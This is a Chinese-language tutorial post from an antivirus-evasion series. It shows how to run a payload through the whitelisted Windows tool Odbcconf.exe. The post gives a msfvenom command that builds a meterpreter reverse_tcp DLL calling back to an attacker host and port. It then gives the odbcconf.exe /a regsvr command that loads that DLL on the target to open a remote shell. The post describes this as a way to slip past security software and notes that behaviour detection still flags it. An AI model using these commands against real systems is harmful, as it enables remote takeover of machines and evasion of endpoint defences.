远控免杀专题(59)-白名单Odbcconf.exe执行payload

wholesome

一、Odbcconf.exe介绍

Odbcconf.exe是一个命令行工具，可让您配置ODBC驱动程序和数据源名称（微软官方文档https://docs.microsoft.com/en-us ... ew=sql-server-ver15）。
Odbcconf.exe在windows中的的一般路径为C:\Windows\System32\odbcconf.exe  C:\Windows\SysWOW64\odbcconf.exe
通过文档可发现有两种方式来加载dll，/A和/F
​

二、利用Odbcconf.exe执行payload法

攻击机：kali    ip地址：192.168.10.130
靶机：win7     ip地址：192.168.10.135
使用msfvenom生成shellcode,注意生成的是dll格式

1. msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4444 -f dll > hacker.dll

复制代码

​
设置监听：


靶机运行payload：

1. odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}

复制代码

成功上线：
​
这个也被杀软盯上了，行为检测预警。
​

三、参考资料

基于白名单Odbcconf执行payload:https://micro8.github.io/Micro8- ... BA%8C%E5%AD%A3.html